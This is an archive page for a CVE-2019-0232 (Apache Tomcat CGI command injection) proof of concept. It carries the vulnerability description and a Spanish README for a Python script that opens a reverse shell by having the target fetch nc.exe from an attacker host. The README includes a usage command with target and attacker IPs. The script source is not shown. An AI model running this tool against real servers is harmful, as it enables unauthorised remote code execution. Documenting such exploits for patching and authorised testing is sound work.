Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-0232 PoC — Apache Tomcat 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Apache Tomcat 操作系统命令注入漏洞 (CVE-2019-0232)
Description:When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https://web.archive.org/web/20161228144344/https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).
Readme
# Script de Exploit CGI de Apache Tomcat


## Descripción
Un script de Python diseñado para explotar vulnerabilidades CGI en servidores Apache Tomcat mediante la ejecución de una conexión de shell inversa.

## Ejemplo de Uso
![Ejemplo de Ejecución del Script](/assets/exploit.png)

## Características
- Exploit automatizado para vulnerabilidades CGI de Apache Tomcat
- Parámetros de objetivo y atacante personalizables
- Interfaz de línea de comandos sencilla

## Requisitos Previos
- Python 3.x
- Biblioteca `requests`
- Netcat (nc.exe)
- Acceso a un listener para recibir el shell inverso

## Instalación
```bash
git clone <url-del-repositorio>
cd <directorio-del-repositorio>
pip install requests
```

## Uso
```bash
python3 tomcat_cgi_exploit.py -t <IP_OBJETIVO> -i <IP_ATACANTE> -ncp <PUERTO_SHELL_INVERSO>
```

### Argumentos Obligatorios
- `-t, --target`: Dirección IP del objetivo con Apache Tomcat
- `-i, --ip`: Dirección IP del atacante que aloja nc.exe
- `-ncp, --nc-port`: Puerto para la conexión de shell inverso

### Argumentos Opcionales
- `-p, --port`: Puerto del objetivo (por defecto: 8080)
- `-sp, --server-port`: Puerto del servidor para alojar nc.exe (por defecto: 80)
- `-cgi, --cgi-script`: Nombre del script CGI a explotar (por defecto: cmd.bat)

## Ejemplo
```bash
python3 tomcat_cgi_exploit.py -t 192.168.1.100 -i 192.168.1.50 -ncp 4444
```

## Descargo de Responsabilidad Legal
Esta herramienta se proporciona únicamente para propósitos educativos y pruebas de penetración autorizadas. El autor y los colaboradores no son responsables de ningún mal uso o daño causado por este script. Siempre obtenga autorización adecuada antes de probar cualquier sistema.

## Autor
- Jose Miguel Romero (k3Pn1c)
File Snapshot

[4.0K] /data/pocs/8dbacd1bb6fbbc8b6b3bfbfd70692159803599af ├── [4.0K] assets │   ├── [ 92K] exploit.png │   └── [ 58K] nc.exe ├── [1.7K] README.md └── [2.2K] tomcat_cgi_exploit.py 1 directory, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →